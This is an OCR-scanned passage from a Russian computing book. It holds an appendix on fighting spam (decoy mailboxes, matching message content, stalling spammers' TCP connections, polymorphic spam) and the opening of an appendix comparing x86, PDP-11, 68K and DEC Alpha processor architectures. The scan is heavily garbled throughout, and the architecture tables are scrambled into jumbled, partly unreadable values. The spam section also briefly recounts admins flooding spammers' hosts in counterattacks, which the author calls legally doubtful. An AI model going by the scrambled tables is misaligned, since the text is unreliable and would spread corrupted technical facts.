294_______________________________________Приложение Б. Борьба со спамом гибрид помойки с силосной ямой, отражая особенности быта и потребностей пользователей. Сеть, к которой может подключиться каждый желающий Хорошей Сетью не может быть по определению, поскольку мир не без пло- хих людей. Перечислим основные способы борьбы со спамом: 1. Официальное признание спама незаконным на государственном уровне. 2. Объявление бойкота тем фирмам/товарам/услугам, что позволяют рекла- мировать себя подобным образом. 3. Выявление и уничтожение спамерских сообщений на транзитных и конеч- ных почтовых узлах. 4. Ведение списков узлов, использующихся для массовых рассылок непроше- ной корреспонденции, и отказ устанавливать с ними ТСР/1Р-соедипеиие. 5. Массирование атаки спамерских узлов с целью выведения их из строя. Ну, последний способ мы откинем сразу, поскольку его законность весьма со- мнительна, правда, это не мешает ему широко использоваться на практике. Вот только один пример: с благословения первого заместителя министерства связи РФ Андрея Короткова «Центр Американского Английского» был контратако- ван провайдером РОЛ, использующим свою многокальиую систему дозвона для блокирования голосовых телефонов Центра. Подняв трубку, операторы вместо голоса очередного клиента слышали речь Короткова, приказывающую прекра- тить массовые рассылки. Знакомые автору администраторы тоже не сидели сложа руки и различными способами контратаковали узлы, участвующие в рассылке, временно выводя их из строя, правда, ожидаемого эффекта это так и не принесло. Отсутствие соответствующих законов чрезвычайно затрудняет борьбу со спа- мом. Включение в договор с провайдером пункта о недопустимости массовой рассылки ничего не меняет. Всегда можно найти провайдера, относящегося к спаму вполне демократично и в угоду собственной выгоде закрывающего глаза на проблемы остальных узлов сети. Поэтому с непрошеной корреспонденцией сетевым обитателям приходится бороться своими силами: путем фильтрации спамерских сообщений и отказом получения корреспонденции с тех узлов, что активно используются спамерами для массовой рассылки. Сформулируем необходимый минимум требований, которому должна удовле- творять всякая система фильтрации: • фильтр должен выявлять максимально возможное количество спамерских сообщений; • отождествление сообщения желательно осуществлять непосредственно на стадии его получения, не дожидаясь, пока оно целиком придет па сервер (этим мы существенно уменьшаем паразитный трафик); • отождествленные сообщения должны удаляться без уведомлений получа- теля/отправителя (в противном случае паразитный трафик не только не уменьшится, но и увеличится, что категорически недопустимо);
Оружие возмездия или способы борьбы со спамом 295 • фильтр не должен отказывать узлу в приеме сообщения до тех нор, пока не убедится в том, что это сообщение — снамерское (в противном случае пост- радают все остальные пользователи этого узла); • нн при каких обстоятельствах фильтр не должен давать ложных срабатыва- ний, ошибочно удаляя сообщения пи в чем не повинных пользователей; • всю необходимую для своей работы информацию фильтр должен черпать из сети самостоятельно, не требуя никакого специального обслуживания. Очевидно, что существующие антиспамерские фильтры не отвечают и полови- не этих требований, а потому их применение приносит проблем больше, чем решает. «Благодаря» стараниям антиспамерских фильтров значительная часть честной корреспонденции бесславно гибнет по дороге, так и не достигая адре- сата. Причем если непрошеная рассылка не приносит ничего, кроме легкого раздражения, то невозможность отправить корреспонденту служебпое/деловое письмо зачастую оборачивается колоссальными убытками. Лично автор «За- писок...» вынужден делать многочисленные междугородные (международные) звонки для оперативного подтверждения приема срочной корреспонденции, поскольку всегда существует риск, что ее молчаливо прибьет очередной фильтр. Еще большие неудобства создают «черные списки», включающие в себя адреса всех узлов, когда-либо использовавшихся спамерами для рассылки сообщений. Помилуйте! Чисто спамерских узлов в сети не существует! Спамеры — это па- разиты, использующие ресурсы общего пользования, обслуживающие большое количество человек. Так что же, всем им теперь другой сервер искать? Ладно, когда дело касается бесплатных почтовых ящиков (хотя и их постоянно менять никому не в радость), но ведь в черные списки попадают и платные почтовые серверы крупных провайдеров! Зачастую отправка письма с такого на такой-то адрес превращается в настоящий шаманский танец с бубном, требующий пере- бора множества исходящих серверов. Это пе только время и нервны, но еще Деньги и трафик! Тезис «не надо пользоваться бесплатными серверами, — пользуйтесь платными почтовыми ящиками» не выдерживает никакой крити- ки. Бесплатные серверы удобны, а платные — отнюдь не гарант стабильности. К тому же полностью перекрыть поток спама «стоп-листами» невозможно в принципе хотя бы уже потому, что спамеру пе обязательно прибегать к услу- гам сервера исходящей почты и при желании этим сервером может стать он сам. просто сев па достаточно быстрый канал. По признанию самих спамеров, для Массовой рассылки вполне хватает и хлипкого Dial-Llp’a на 33 600, ну а если под рукой есть выделенная линяя — о большем спамеру нечего и мечтать! Если спамер использует динамический IP (который к тому же обходится ему н де- шевле, чем постоянный), то для его отключения придется отрубить себя от всех клиентов данного провайдера, среди которых вполне могут иметься и те, чьи письма представляют для обороняющегося узла определенный интерес (напри- мер, служебная корреспонденция от нештатных сотрудников организации). Порой становится непонятно: на благо кого направлена вся эта борьба? Если На благо пользователей — то почему эти самые пользователи вынуждены Терпеть множество неудобств, суммарный ущерб которых зачастую даже
296 Приложение Б. Борьба со гп ------------------— превосходит убытки, непосредственно связанные со спамом? И не пора . думаться о совершенствовании алгоритмов фильтрации с целью доведен *а~ до ума? Ия Их НАЖИВКА ДЛЯ СПАМЕРА, ИЛИ ПРОДВИНУТЫЕ МЕТОДИКИ ФИЛЬТРАЦИИ Прежде чем обсуждать методики «правильной» фильтрации спама, следует в обязательном порядке дать спаму строгое определение, в рамках которого и бу- дет действовать наш фильтр. На первый взгляд это выглядит бессмысленным бюрократизмом — все мы прекрасно знаем, как выглядит спам. Чего тут опре- делять-то... Вот в этом-то и заключалась главная ошибка разработчиков ост;i.t ных фильтрующих пакетов: не разобравшись с сутью предмета, они кинулись фильтровать то, чему нет ни названия, ни определения! Условимся считать спамом: непрошеную массовую рассылку писем с близким или идентичным содержанием. Слово «непрошеная» здесь ключевое. Если мы смо- жем надежно отличить запрошенную рассылку от пезапрошенной, то ключ к со- зданию оружия возмездия окажется в наших руках! А как ее отличить? Один из вариантов выглядит так: на одном или нескольких доступных вам серверах вхо- дящей почты вы регистрируете некоторое количество ящиков, единственной за- дачей которых будет накопление спамерской корреспонденции, используемой как образец для выявления спамерных сообщений на остальных ящиках. Поскольку пи для каких других целей данные «подсадные» адреса не исполь- зуются, то вся приходящая па их имя корреспонденция автоматически попада- ет в разряд непрошеной, и, обнаружив аналогичные сообщения в остальных ящиках, фильтр вправе их удалить. Легко видеть, что эффективность фильтра- ции напрямую зависит от того, кто первым получит спамерское сообщение — легальные пользователи или сам фильтр. Для «оттягивания» спамерского огня на себя фильтр может предпринять следующие действия: 1. Имена подсадных ящиков должны состоять всего из одного-двух символов (.многие спамеры находят своп жертвы методом тупого перебора адресов, и чем короче имя, тем интенсивнее па пего сыплются непрошеные сообщения). 2. Имена подсадных ящиков должны быть равномерно распределены по всему алфавиту, поскольку заранее неизвестно, как отсортированы те или иные спа.мерные базы и отсортированы ли они вообще. 3. Имена подсадных ящиков желательно распределить по максимально дости- жимому количеству доменов, так как это увеличивает вероятность раннего обнаружения очередной спамерной атаки. 4. Фильтр должен автоматически отвечать па все приходящие непрошеные сообщения, чтобы спамеры пометили этот адрес как проверенный и стали слать на него спам с удвоенной энергией. 5. Фильтр должен периодически «светить» подсадные адреса на форумах, дос- ках объявлений и телеконференциях, поскольку все они активно использу- ются спамерами для пополнения своих баз.
Ср?мРрный трафик: вокруг да около 297 Церез некоторое время реки спама начнут так и сыпаться в закрома вашего сер- gepa Чтобы не оплачивать чужой трафик из своего кармана, лучше располо- жить такой сервер па самом медленном и дешевом Иптернет-канале (все равно скорость приема спама для вас не критична). Естественно, лучше проводить потобную «контртеррористическую» акцию нс в одиночку, а совместно с не- сколькими компаниями — это снизит неизбежные издержки борьбы каждой из компаний альянса по отдельности. И чем больше «приманочных» серверов бу- дет участвовать в накоплении образцов спамерских сообщений, тем выше ве- роятность, что к моменту поступления непрошеной корреспонденции па ваш основной почтовый сервер у вас уже будет ее образец. Тривиальная проверка всех поступающих писем на их принадлежность к спа- мерской базе позволяет надежно идентифицировать спам, сводя процент лож- ных срабатываний к минимуму. ПРИМЕЧАНИЕ------------------------------------------------------------ Некоторые фильтры пытаются отсекать письма, одновременно пришедшие на адреса нескольких сотрудников, полагая, что массовость рассылки — это явный признак спама. Увы! Такая фильтрация только мешает! Дублирование корреспонденции — вполне за- конное и достаточно широко распространенное явление, не имеющие никакого отноше- ния к спаму. К тому же существует и такая вещь, как запрошенные рассылки, на кото- рые может быть подписана добрая половина всех сотрудников. Однако своевременно удалить непрошеные сообщения из почтовых ящиков своих клиентов — это только полдела! Хорошо бы вообще воспрепятствовать их поступлению на сервер, тем или иным способом уменьшая паразитный тра- фик до разумного минимума. СПАМЕРНЫЙ ТРАФИК: ВОКРУГ ДА ОКОЛО Существенно уменьшить снамерпый трафик без вреда для остальных пользо- вателей — невозможно. Почему? Да потому, что в сети Интернет для этого нет соответствующих механизмов! В момент установки TCP/IP-соединения с по- чтовым сервером последний нс может однозначно сказать: является ли удален- ный узел спамерским или нет. Даже если данный узел уже был замечен в мас- совой рассылке непрошеной корреспонденции, мы не имеем морального права отказывать ему в подключении! Ведь спамер мог использовать и какой-нибудь общедоступный узел (например, один из компьютеров Интернет-кафе), н ди- намический IP-адрес своего провайдера, выданный в данный момент совершен- но другому лицу! Короче говоря, IP-адрес надежно идентифицирует спамера лишь тогда, когда с данного адреса не поступает ничего, кроме спама, что слу- чается, прямо скажем, нечасто. Имя отправителя, вносимое в поле FROM, также ни о чем не говорит, поскольку никаких гарантий, что спамер не воспользовался чужим именем, у нас нет! И, как показывает практика, подавляющее большинство спамеров как раз и п-
298 Приложение Б. Борьба со редиочитает пользоваться чужими или фиктивными именами, а них никогда не используют одно и то же имя дважды. чекот(>рЬи. Из Содержимое письма — зто тот ключ, который позволяет надежно отождеСТв лять спамерские сообщения, автоматически отделяя зерна от плевел. O6Ha»v жив, что несколько первых строк тела (пе заголовка!) письма совпадают с эта лонными образцами из базы спамерских сообщений, сервер может моментально разорвать TCP/IP-соедпнеиие, избежав «удовольствия» от получения всего сообщения целиком. Однако поскольку заголовок электронного письма зачас- тую составляет внушительную часть от его общего объема, значительного сни- жения паразитного трафика добиться не удастся. Скорее всего, он даже возрас- тет, поскольку реакция удаленного узла иа разрыв TCP/IP-соедииеипя будет вполне адекватной, и тот попытается передать ненужное нам сообщение вновь Поэтому лучше не разрывать ТСР/1Р-соединение, а «замораживать» его, ими- тируя глубокую задумчивость сервера и периодически «пробуждаться» на ко- роткое время. Если интервалы между такими побуждениями окажутся мень- ше, чем максимальное время неактивности, допускаемое удаленным узлом, то ему и в голову не придет разрывать установленное соединение до окончания передачи письма, которое будет поступать на наш сервер со скоростью порядка 1 IP пакет в секунду, ничуть не напрягая ваш Интернет-канал. Удерживая спамера иа линии, по не давая ему «кислорода», мы некоторым об- разом затрудняем рассылку непрошеных сообщений, делая ее неэффективный и экономя драгоценный трафик, а вместе с ним и пропускную способность своих каналов. В качестве превентивной оборонительной меры мы можем притормо- зить и остальные ТС P/IP-соеди пения, устанавливаемые в данный момент со «спамерским» сервером, поскольку с вероятностью, близкой к единице по ним также поступает спам (особенно если адреса отправителя, заносимые в поле FROM, совпадают со спамерным сообщением). Открытое, ио «замороженное» TCP/IP-соединенис карман пе тянет (если толь- ко сервер настроен правильно, так как большое количество одновременно уста- новленных TCP/IP-соедипсний увеличивает расход оперативной памяти и да- же может вызвать отказ в обслуживании), но на некоторое время выводит спамсрский сервер из игры, тем самым уменьшая трафик. Эта простая мера предотвращает затопление сервера непрошеной корреспон- денцией, практически никак не влияя на остальных пользователей тех узлов, чьими услугами воспользовались спамеры для массовой рассылки сообщений. Ко- нечно, полностью свести спамерский трафик к нулю такими путями не удаст- ся, и в лучшем случае он сокращается в 3-5 раз, а в среднем — в 2 раза, что, в принципе, тоже неплохо. РЕЗУЛЬТАТЫ ПРАКТИЧЕСКИХ ИССЛЕДОВАНИЙ Антиспамовый фильтр, реализованный автором ио заказу определенных ком- паний, уже больше года находится в активной эксплуатации, и за это время вы- явлено множество его сильных сторон, как, впрочем, и недостатков.
результаты практических исследований 299 []о сообщениям пользователей, поток спамерских сообщений сократился прак- тически на порядок, и единичные пробивающие сквозь фильтр непрошеные со- общения не создают особой беды. Ошибочно унич тоженных сообщений — пет (во всяком случае, никаких жалоб по этому поводу до сих пор не поступало). Это были достоинства. А теперь недостатки: общий объем «паразитного» тра- фика сократился всего лишь наполовину и никаких других идей по его даль- нейшему сокращению у автора нет (и сомнительно, чтобы такие пути вообще существовали в природе). К тому же приемлемая эффективность фильтрации достигается лишь при объединении в сеть нескольких узлов, ведущих совмест- ную базу образцов спамерных сообщений. В данном случае в тестировании фильтра участвовало три компании и один провайдер, совокупными усилиями которых и были достигнуты указанные результаты. ПРИМЕЧАНИЕ--------------------------------------------------------------- Причем на расширение «альянса» наложены очень жесткие ограничения, а именно — каждый участник антиспамерской компании должен безоговорочно доверять всем остальным. В противном случае в базу могут попасть миллионы реально не существую- щих образцов спамерского «искусства», замедляющих проверку, а то и копии сообще- ний из легальных рассылок, которые будут автоматически удаляться у всех остальных подписчиков, чего допускать нельзя. Впрочем, понятие «эффективность» весьма относительно. Аналогичный фильтр стоит и на домашнем компьютере автора, и результатами его работы автор весь- ма доволен (собственно, этот фильтр изначально как домашний п задумывал- ся, а на корпоративный уровень поднялся лишь спустя несколько лет его до- машней эксплуатации). На удаленном lelnct-сервере «вращается» несложный скрипт, который периодически сканирует почтовый ящик автора на предмет поиска спамерских сообщений, а найдя таковые, — удаляет. Другой скрипт от- вечает за накопление базы непрошеной корреспонденции, для приема которой выделен отдельный почтовый ящик. Бесплатный, разумеется. И хотя суммар- ный объем трафика при этом не только не уменьшается, по и увеличивается, большая его часть оплачивается не из моего кармана. Таким образом, предложенные технологии могут успешно использоваться не только корпоративными, по и домашними (или мелкоофисными) пользова- телями. ТЕХНОЛОГИИ ПОЛИМОРФИЗМА И АНТИПОЛИМОРФИЗМА Тривиальный алгоритм сравнения содержимого писем очень легко ослепить, ь'сли при отправке письма некоторым образом изменять его содержимое. Спа- мер может добавить то или иное количество пробелов в некоторых местах, за- менить пробелы табуляцией, вместо русских букв «а», «о» и «к» использовать сходные по начертанию английские: «а», «о» и «к». Письма в HTML-формате оезболезненно переживают еще большее количество изменений (достаточно, например, внедрить множество незначащих или несуществующих тегов в текст, тем самым исказив его машинное представление до неузнаваемости).
300 Приложение Б. Борьбасс,гп-,1ъ Поэтому разработка надежного алгоритма сравнения становится весьма не стоп задачей. Антиспамерский фильтр должен уметь правильно иитерпрети^ вать HTML-формат, выбрасывая из него все ненужное, а также должен Гн готов к тому, что написание отдельных слов сообщения окажется тем или ищim образом искажено. К тому же, используя словари синонимов (пли составляя такие словари само стоятельно), спамеры могут изменять внешний облик своих посланий, практи чески не искажая их смысл. Адекватной контрмерой будет проверка поступа- ющих сообщений по тем же самым словарям и перевод письма в некоторый «метафизический» псевдокод, условно называемый автором «SENSE» (то есть «смысл»). Конечно, трудоемкость разработки и отладки (!) SENSE-апалпзато- ра намного превышает сложность разработки всех остальных компонентов филь- тра целиком, но опа и наиболее интересна. Это — передовой край науки, объ- единяющий в себе последние достижения в области нейросетей, распознавания образов п машинного перевода... SENSE-анализатор, разработанный автором, достаточно-прост и со всей оче- видностью не сможет справиться с полиморфным спамом, когда тот предпри- мет массированное наступление, а ведь написать полиморфный вирусный ге- нератор намного сложнее, чем полиморфный генератор спамерских сообщений! Так что времена полиморфного спама уже не за горами и приступать к разра- ботке надежных фильтров следует уже сейчас, иначе Сеть так провоняет спа- мом, что этот запах не выветрится и за десятилетие!
ПРИЛОЖЕНИЕ В СРАВНИТЕЛЬНЫЙ АНАЛИЗ ЭЛЕГАНТНОСТИ АРХИТЕКТУР РАЗЛИЧНЫХ ПРОЦЕССОРОВ Изучение древних языков в первую очередь позволяет освободить мысль от оков слова, которое воспринимает- . ся как единственное данное... Даже элементарные грам- матические упражнения зачастую заставляют учащего- ся древним языкам освободиться от кажущегося ему единственным способа выражения, почувствовать и уви- деть свою мысль настолько многосторонне, насколько ни для кого другого это недоступно. Александр Гимадеев Неирекращаюшиеся «священные» войны по повод}/: «х86-пронессоры — дрянь, ххх-процессоры — rules», неприятны в первую очередь тем, что они унижают и Дисквалифицируют х86-программистон в глазах всей остальной программист- ской общественности. Они лишают новичков уважения к х86-архитектуре. Причем подавляющее большинство защитников х86-архитектуры с представи- телями других процессорных семейств знакомы в лучшем случае понаслышке, а противники х86-архитектуры (львиную долю которых составляют поклон- ники PDP-11) склонны ухватываться за отдельные, непринципиальные архи- тектурные особенности, которые в х86 реализованы несколько иначе, чем в их любимом процессоре. В общем, аргументы обеих сторон носят глубоко необъек- 'ивный, бездоказательный и.... характер, сводящийся в основном к ругани и бе- зосновательным наездам, типа:
302 Приложение В. Анализ элегантности архитектур различных пр ..мне пришлось как-то переносить Форт с PDP-11 на 18086 п следний я видел впервые... так от архитектуры 180x86 до сих па П,>' (особенно по сравнению с PDP-11). ,>ичшщ Господи, до чего трудно было преодолеть рвотный барьер, осваивая 5 лет работы на PDP-11 это интелевое смоляное чучелко.;( рт() п на PDP-11, думаю, подтвердит. “ Опии Автором предпринята попытка если не поставить точку в атом вопросе то крайней мере, дать спорящим сторонам свежую пищу для размышлений (icai знать, быть может, после этого в конференциях вместо реплик «сам дурак» на конец-то зазвучат нормальные технические аргументы). Сразу оговорюсь что ниже будут сравниваться исключительно программные модели нескольких наи- более «культовых» процессоров. В первую очередь это, конечно, PDP-11 — те- гендарнейший процессор всех времен и народов, породивший огромное коли- чество клонов (и отечественные кальки К1801, в частности), многие из которых исправно работают и поныне; затем серию процессоров 68К от Motorola, изве- стную в первую очередь по Эплам ранних моделей и едва не ставшую основной для IBM PC. Наконец, для полноты картины мы рассмотрим процессоры се- мейства DEC Alpha. Мне могут возразить, что сравнивать Альфу со всеми выше перечисленными процессорами не совсем корректно, поскольку он совсем из другой категории. Именно так! И поэтому это лишь усиливает контраст! (Кро- ме того. Альфа окутана таким количеством мифов, домыслов и легенд, что близ- кое знакомство с пей никому не помешает.) Сравнительный анализ охватывает как ключевые архитектурные концепции, так и индивидуальные непринципиальные архитектурные особенности такие, как, например, наличие в PDP-11 команды обнуления, отсутствующей вх86 и вынуждающей программистов использовать либо пересылку непосредствен- ного нуля, либо логическую операцию «ИЛИ исключающее И», что с одной стороны ничуть не ухудшает технические характеристики программы, по с др} гой — создает впечатления уродства архитектуры. Характе- ристики х86 PDP 68К DEC Alpha тип процессора CISC CISC CISC RISC —- Система команд -— система команд размер машинной команды типы команд безоперандная, безоперандная, одно- и двух- одно- и двух- операндная операндная от 1 до 16 байт 1, 2 или 3 слова пересылки данных пересылки данных арифметические арифметические логические логические управления управления системные системные безоперандная, одно- и двух- операндная от 1 до 12 слов пересылки данных арифметические логические управления системные безоперандная, одно-, двух-и тре^ операндная одно двойное слово х пересылки дан арифметик логические управления систем ныв —
„„ргантности архитектур различных процессоров д^злизэ!!--------------------------------- -—--—" х86 PDP 68К DEC Alpha Х^акте- 303 -иг-тИКИ ИТ- — , ^nnpou^ESEl- система кодировки машинных команд CISC CISC CISC RISC синтаксис синтаксис синтаксис синтаксис команд команд команд команд упрощен сложен, прост, довольно до предела инструкции логичен, сложен, имеют интуитивно инструкции переменную понятен имеют длину переменную и множество длину факультативных и множество контекстно- факультативных чувствительных контекстно- полей чувствительных полей система по компактности по скорости не оптими- по скорости кодировки выполнения зирован выполнения команд и легкости в ущерб оптимизи- чтения в компактности рована машинных кодах параллелизм параллелизм параллелизм параллелизм параллелизм не заложен явно, не заложен явно, не заложен явно, не заложен явно, более того, но создание более того, но система система команд суперскалярных система команд команд всячески процессоров всячески оптимизирована препятствует в данной препятствует под параллельное созданию системе созданию исполнение суперскалярных команд суперскалярных процессоров осуществляется легко процессоров выравнивание наличие команд все команды все команды все команды длиной в байт кратны размеру кратны размеру равны длинному вызывает слова и потому слова и потому слову и потому проблемы всегда всегда всегда выровнены с выравниваем кода выровнены выровнены происхождение набора команд навязан Data- оригинальный набор команд, нет данных Point, заказавшей набор команд, базирующийся (по-видимому, Intel разработку разработанный на PDP-11, оригинальная чипа для своих без учета но существенно разработка DEC) терминалов, обратной пересмотренный стремление совместимости, и перера- руководства что превратило ботанный Intel обеспечить PDP-11 обратную в могильщика совместимость огромного процессоров количества последующих ранее написанного поколений программного привела к отказу кода, причем от лучших очень хорошего решений в пользу уже имеющихся кода
304 Приложение В. Анализ элегантности архитектур различных поонагг^ Характе- х8б PDP 68К DEC Alpha ристики тип процессора CISC CISC CISC RISC ~~~~ Особенности адресации -— минимально байт байт байт байт адресуемая ячейка памяти возможность отсутствует отсутствует частично отсутствует? адресации реализована битов 24 вида 6 видов 18 видов 3 вида адресации адресации; адресации, адресации, крайне бедная, примитивная, богатая, богатая несимметричная несимметричная симметричная симметричная, адресация адресация наследующая все лучшее из PDP-11 и добавляющая к ним все сильнейшие из х86 регистровая регистровая регистровая регистровая адресация адресация адресация адресация; непосредственная непосредственная непосредственная — адресация адресация адресация ВИДЫ косвенная косвенная косвенная косвенная адресации адресация адресация адресация адресация основного по непосредст- по непосредст- по непосредст- по сумме регистра процессора венному венному венному с 16-битным значению, значению, значению, смещением регистру, регистру регистру сумме или сумме или сумме одного/двух регистра регистра регистров с числом с числом и непосредст- с масштаби- венного рованием значения на 2, 4 и 8 с поддержкой масштаби- рования в 2, 4 и 8 — дважды дважды — косвенная косвенная адресация адресация (операнд (операнд указатель указатель на указатель) на указатель) адресация адресация — с автоувели- савтоувели- чением чением (автоумень- (автоумень- шением) шением) операнда операнда до/после до/после взятия его ВЗЯТИЯ значения его значения —'
Анализ элегантности архитектур различных процессоров 305 Характе- ристики х86 PDP 68К DEC Alpha ^процессора CISC CISC CISC RISC ВИДЫ адресации сопроцессора регистры сопроцессора объединены в кольцевой стек, адресуемый относительно его вершины, причем ряд команд оперирует только значениями, лежащими на вершине Стека, адресация команд, взаимодейст- вующих с оперативной памятью — базово- индексная. ММХ-команды поддерживают два вида адресации: регистровую и косвенную полноценная адресация сопроцессора, включая групповые пересылки данных вещественные команды используют те же самые способы адресации, что и целочисленные ♦ порты адресуются как память нет да да? да объем непосредст- венно адресуемой памяти Модель памяти 4 Гбайт (12 Гбайт, если использовать раздельные стеки для кода, стека и данных), и 16 Гбайт (20 Гбайт, если динамическую память вынести в отдельный сегмент) 64 Кбайт 4 Гбайт от 243 до 264 в зависимости от реализации сегментная, линейная плоская, страничная плоская плоская
306 Приложение В. Анализ элегантности архитектур различных процессо Характе- х86 PDP 68К DECAIphS ~~ ристики тип процессора CISC CISC CISC RISC представление 16/32 бит 16 бит 32 бит 43 или^Гбит адресов указатель [+ сегмент] указатель [+ базовый адрес страницы] указатель расширяемые до 64 бит и транслируемые в 44-битный физический адрес, указатель представление смещений 16/32 бит 8/16 бит 8/32 бит 16 бит (позор джунглям!) (в базово- индексной адресации) возможность да нет да да получения эффективного адреса масштаби- есть, на 2, 4, 8 нет есть на 2, 4, 8 на 4 и 8 рование в любой команде в любой команде только в команде сложения поддержка да, встроенная частично да, встроенная да, встроенная виртуальной памяти Регистры целочисленные целочисленные целочисленные целочисленные регистры регистры регистры регистры общего назначения (данных и адресов) общего назначения (данных и адресов) данных общего назначения (данных и адресов) — — регистры адресов — — вещественные регистры сопроцессора; 80 бит вещественные регистры сопроцессора типы регистров кольцевой стек регистров сопроцессора векторные регистры сопроцессора — регистры регистры регистры регистр — специального специального специального указатель назначения системные назначения назначения системные команд системные регистры — регистры регистры _
днализ элегантности архитектур различных процессоров 307 Характе- оистики х86 PDP 68К DEC Alpha ^процессора CISC CISC CISC RISC разрядность целочисленных 8, 16, 32 16 32 64 регистров разрядность вещественных 64, 80 и 128 бит — 80 бит 64? регистров регистры регистры регистры регистры регистры равноправны неравноправны: полностью неравноправны равноправны, многие команды работают с фиксиро- ванными регистрами или ограничивают выбор регистра равноправны и делятся на регистры данных (целочисленные и вещественные) и адресные регистры, но внутри «своих» категорий все они равноправны за исключением того, что вещественные регистры не могут быть указателями КОЛ-ВО 7 32-битных 6 16-битных 16 РОН - 32 целочисленных регистров общего назначения РОН, 4 из которых устроены так: L8, Н8, L16, 32, так как трактуются либо как два 8-битных регистра, либо один 16-битный, либо один 32-битный; регистров 8 регистров данных 8 адресных регистров регистров 8 80-битных FPU-регистров, начиная с Р-Ш: 8 128-битных ХММ регистров 8 80-битных регистров сопроцессора 32 вещественных регистра Работа частично нет нет нет с половинками регистров ___________________Взаимодействие со специальными регистрами непосредст- поддерживается поддерживается поддерживается — венная адресация регистра Указателя стека
308 Приложение В. Анализ элегантности архитектур различных процессооов - Характе- ристики х86 PDP 68К DEC Alpha тип процессора CISC CISC CISC RISC ~ непосредст- отсутствует поддерживается поддерживается отсутствует венная адресация регистра указателя команд Операнды размер 16, 32 16 бит, 8, 16, 32 64 бит. операндов и частично ограничено и очень для операндов основного 8 бит 8 бит ограничено в 8, 16 и 32 процессора 64 бита доступны лишь операции расширения, чтения/записи размер 32, 64, 80 — 1 бит — 32, 64 бит, операндов и, начиная 256 байт что позор сопроцессора с Р-1П, — 128 бит операции все возможные, все возможные все возможные чтение и запись над при условии, только операндами что второй памяти операнд не находится в памяти операции чтение все возможные все возможные чтение изапись над портами и запись (включая циклическую обработку) только, причем в строго определенные регистры только черная отсутствует отсутствует отсутствует присутствует — дыра, это регистр также R31/F31. чтение называемая дает ноль, битовой запись корзиной игнорируется — Арифметика с насыщением (saturation) беззнаковая. — — — арифметика с насыщением знаковая — — — циклическая циклическая циклическая циклическая (wraparound) беззнаковая беззнаковая беззнаковая беззнаковая
диализ элегантности архитектур различных процессоров 309 Характе- ристики х86 PDP 68К DEC Alpha ^ип процессора CISC CISC CISC RISC — циклическая частично: циклическая циклическая знаковая циклическая знаковая знаковая знаковая поддержка да, начиная отсутствует отсутствует отсутствует векторных операций с Pentium MMX типы данных ограничено биты 7 биты — ограничено 7 битовые — битовые ПОЛЯ ПОЛЯ BCD — BCD типы строки — — — данных основного байтовые байтовые байтовые ограничено процессора целые целые целые байты словные словные словные ограничено целые целые целые слова двухсловные — двухсловные ограничено целые целые двойные слова — четвертные четвертные целые слова float float VAX F_floating (32-bit)/ IEEE single (32-bit) double double VAX G_floating (64-bit) - IEEE double (64-bit) extend extend — типы 16 бит целые — 16 бит целые — Данных 32 бита целые 32 бита целые — сопроцессора 64 бита целые 64 бита целые — 64 бита, BCD ??-6итные BCD — packed byte — — packed word — — packed doubleword — — quadword — — Управление ходом выполнения программы команды Условных/ безусловных переходов присутствуют присутствуют присутствуют присутствуют
310 Приложение В. Анализ элегантности архитектур различных пг„. ларакте- хоо гиг oorv UtCAIph^ р и стик и тип процессора CISC CISC CISC — условные команды пересылки и/ил и назначения данных присутствуют присутствуют присутствуют присутствуют кол-во С (перенос/заем) с c С (перенос/заем) и коды Р (четность) — — — условий А (вспомога- — — — тельный перенос) Z (нуль) Z z Z (нуль), S (знак), N (знак), N (знак), — 0(переполнение) V(переполнение) V(переполнение) — — — X (расширение) — ветвления С == 0 С == 0 С == 0 С == 0 по условиям С == 1 С == 1 С == 1 С == 1 Z == 0 Z == 0 Z == 0 Z== 0 Z == 1 Z == 1 Z == 1 Z == 1 S == 1 N == 1 ’ N == 1 — S == 0 N == 0 N == 0 S == 0 S == 0 S == 0 — S != 0 S != 0 S != 0 0 == 0 V == 0 V== 0 — 0 == 1 V == 1 V == 1 Р == 0 — — — р == 1 — — С== 1 | Z == 1 C==1|Z==1 С== 1 | Z== 1 C==1|Z==1 c==o&z==o c==o&z==o С== 0&Z== 0 с == o&z==o z==o&s==o z==o&s==o Z == 0 & S == 0 — Z == 1 1 S != 0 Z == 1 | S != 0 Z == 1 | S != 0 — Z == 1 1 S != 0 Z == 1 1 S != 0 Z== 1 | S!= 0 CX == 0 — — — ECX == 0 —. — —- Low Bit Is Clear — — Low Bit Is Set влияние непосредственно — для анализа управление флагов не влияют. состояния прозрачно сопроцессора поэтому, имеется на команды флаг специальный управления сопроцессора набор программой приходится проталкивать через память в регистр флагов или анализировать его вручную команд
...,пиз элегантности архитектур различных процессоров 311 Характе" Х86 PDP 68К DEC Alpha ристики —— — —-— —. ———— —— — ^ппроцессора CISC CISC CISC RISC команды пересылки изменяют флаги нет да да команды пересылки как таковые отсутствуют; имеются команды чтения/записи данных в/из памяти из/в регистр, не изменяющие флагов; для пересылки регистра А в регистр Б используйте мат. операции, например, ADD Б, A, R31 дистанция условных переходов 4 Гб 64 К 4 Гб 4 Мб (позор!) управление отсутствует, отсутствует, отсутствует, возможность механизмом процессор процессор процессор задания предсказаний предсказывает не пре дека- не предска- направления ветвлений ветвления зывает зывает срабатывания автоматически ветвления ветвления в каждом ветвлении сохранение только отсутствует отсутствует при любом старого при вызове ветвлении значение подпрограммы в любой указателя на вершине целочисленный команд при переходе стека РОН •—_ Выравниваниепри необходимость выравнивания кода не требуется обязательно ??? обязательно необходимость выравнивания не требуется не требуется не требуется не требуется Данных • — !^Дства автоматического контроля достоверности полученных результатов ''нерывание при нет нет нет? при вещественной переполнении прерывание наИ?елении На Ноль только при цело- ? ТОЛЬКО и целочисленной арифметике только при численной при цело- вещественном арифметике численной арифметике? делении
312 Приложение В. Анализ элегантности архитектур различных процессоро х86 PDP 68К Характе ристики тип процессора CISC CISC CISC RISC Комплексная микропрограммная поддержка DEC Alpha стековые операции поддержка стека один стек много много отсутствует поддержка очередей отсутствует да да отсутствует процедурные средства команды вызова процедур частично — адрес возврата всегда заносится на вершину стека, параметры передаются вручную да? адрес возврата может быть сохранен, где угодно, аргументы могут передаваться как вручную, так и автоматически отсутствуют манипуляции с кадром стека да нет да нет возврат есть есть? есть нет с автомати- ческим закрытием кадра стека команды пересылки пересылка ограничено нет да нет? групп (только регистров в стек) пересылка да да да нет? данных перифе- рийным устройствам Л пересылка да да да нет непосред- ственных данных —— команды обмена —* обмен да нет да нет? регистров обмен нет ? да нет ячеек паматм
